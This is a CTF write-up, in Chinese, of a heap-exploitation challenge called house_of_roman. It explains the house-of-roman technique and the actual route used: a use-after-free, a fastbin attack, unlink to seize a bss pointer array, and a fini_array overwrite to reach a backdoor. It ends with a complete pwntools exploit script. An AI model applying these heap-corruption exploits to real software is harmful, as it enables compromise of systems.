题目虽然叫house_of_roman,但是好像没有利用到。先介绍一下house_of_roman的利用手法

主要用于程序无打印功能,在不泄露libc地址的前提下,通过低位地址写+爆破的方法来bypass ALSR。

  • 通过低位地址写修改fastbin的fd,修改到malloc_hook-0x23
  • 通过unsortedbin attack,将main_arean地址写入malloc_hook
  • 使用fastbin attack,通过低位地址写修改malloc_hook中的地址为one gadget

一般此方法很少使用,需要爆破12bit,所以成功率只有1/4096。

漏洞点

image-20240326132336075

存在UAF

攻击思路

由于这道题是静态编译的,所以攻击思路有所差别。并且给出了后门函数,此时就应该想到,如果修改才能触发后门函数。因为没有show函数,无法泄露libc,所以在不修改malloc_hook和free_hook的情况下,修改fini_array是一个好选项。

如何才能修改fini_array呢?控制malloc附近chunk吗?但是无法伪造合适的size。所以可以利用bss段控制ptr的指针。想要控制这一部分chunk,需要利用Unlink。利用unlink的前提是需要有很大的溢出空间,需要伪造fd和bk,并且next_chunk的pre_size和size也需要伪造。所以需要先利用在size部分填充0x7f,利用fastbin_attack申请到size处的chunk,然后修改size大小能够溢出。再unlink。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug =1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('challenge-c29cfb63e92cf3e1.sandbox.ctfhub.com', 23356)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
def add(size):
rl("choice: ")
sl('1')
rl("size: ")
sl(str(size))
def edit(index,content):
rl("choice: ")
sl('3')
rl("index: ")
sl(str(index))
rl("content: ")
sl(content)
def delete(index):
rl("choice: ")
sl('2')
rl("index: ")
sl(str(index))
gdb.attach(p)
add(0x7f)
add(0x60)
add(0x7f)
delete(1)
edit(1,p64(0x6cdec0))
add(0x60)
add(0x60)
add(0xa0)
add(0x80)
add(0x10)
edit(4,p64(0x0000010000000100)*2)

edit(5,p64(0)+p64(0xa1)+p64(0x6cde60-0x10)+p64(0x6cde60-0x8)+p64(0)*16+p64(0xa0)+p64(0x90))
delete(6)
edit(5,p64(0x6CAE90))
edit(2,p64(0x4009AE))

rl("choice: ")
sl('4')

inter()